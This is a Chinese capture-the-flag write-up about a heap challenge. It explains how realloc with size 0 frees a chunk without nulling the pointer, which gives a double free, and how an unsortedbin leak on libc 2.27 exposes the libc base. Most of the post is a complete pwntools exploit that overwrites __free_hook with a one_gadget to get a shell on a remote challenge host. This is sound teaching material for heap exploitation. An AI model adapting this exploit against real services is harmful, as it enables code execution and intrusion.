首先学习一下realloc这个函数,以下是文心一言的解释:
realloc是C语言库函数之一,用于重新分配内存空间。它的主要功能是调整一块内存空间的大小。当需要增加内存空间时,realloc会分配一个新的更大的内存块,然后将原内存块的内容复制到新块中,并释放原内存块;当需要减少内存空间时,realloc会尝试将内存块的大小减少到新的大小,并返回调整后的内存块地址。
realloc函数的原型为:void* realloc(void* ptr, size_t size);
其中,ptr是指向之前分配的内存块的指针,size是要分配的新内存块的大小(以字节为单位)。如果ptr为NULL,则realloc函数的行为与malloc函数相同;如果size为0,则realloc函数会释放由ptr指向的内存块。realloc函数的返回值是指向新分配的内存块的指针。如果分配成功,则返回值不为NULL;如果分配失败,则返回NULL。
提取关键点:分配更大的内存时会先释放原chunk,当size为0时,会释放ptr。这是不借助free函数的释放,不会将指针清空,可以用来构造doublefree。
还有一个知识点:
在程序中,我们请求了一个大小为0的堆块。
但通过gdb调试发现,堆块大小为0x20,也就是说malloc(0),malloc(8)和malloc(0x10)效果其实是一样的,由于fd指针和bk指针,一个chunk的大小至少是0x20。
有了以上两个知识点,让我们进入下面这道题:
delete之后会把指针清空。没办法uaf。也不存在堆溢出。这该怎么办呢。
发现edit有realloc函数,恍然大悟!
这里补充一点,低版本,至少libc 2.27及以下当你从unsortedbin分配一个堆块时,不会把fd和bk指针清空,可以利用这个泄露Libc基址,至少libc 2.31及以上会把这两个区域清空。
以下是exp:
from pwn import *
context.arch='amd64'
elf=ELF('./pwn')
libc=ELF('./libc-2.27.so')
io=remote('node5.anna.nssctf.cn',24158)
#io=remote('pwn.challenge.ctf.show',28284)
#io=process('./pwn')
def add(size,content='a'):
io.recvuntil(b"Your choice:")
io.sendline(b'1')
io.recvuntil(b"size?>")
io.sendline(str(size).encode())
io.recvuntil(b"content:")
io.send(content)
def delete(idx) :
io.recvuntil(b"Your choice:")
io.sendline(b'4')
io.recvuntil(b"Index:")
io.sendline(str(idx).encode())
def show(idx):
io.recvuntil(b"Your choice:")
io.sendline(b'3')
io.recvuntil(b"Index:")
io.sendline(str(idx).encode())
def edit(idx,content) :
io.recvuntil(b"Your choice:")
io.sendline(b'2')
io.recvuntil(b"Index:")
io.sendline(str(idx).encode())
io.recvuntil(b"New content:")
io.send(content)
add(0x410)#0
add(0x10)#1
delete(0)
add(0x410,b'a'*5+b'b'*3)#0
show(0)
io.recvuntil(b'bbb')
usbin=u64(io.recv(6).ljust(0x8,b'\x00'))
print('usbin:',hex(usbin))
#gdb.attach(io)
#pause()
malloc_hook=usbin-0x70
libc_base=malloc_hook-libc.sym['__malloc_hook']
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
print('free_hook:',hex(free_hook))
print('system:',hex(system))
add(0)#2
delete(1)
io.recvuntil(b"Your choice:")
io.sendline(b'2')
io.recvuntil(b"Index:")
io.sendline(b'2')
delete(2)
one_gadget=libc_base+0x4f302
add(0x10,p64(free_hook))#1
#gdb.attach(io)
#pause()
add(0x10,p64(one_gadget))#2
add(0x20,b'/bin/sh\x00')#3
delete(3)
io.interactive()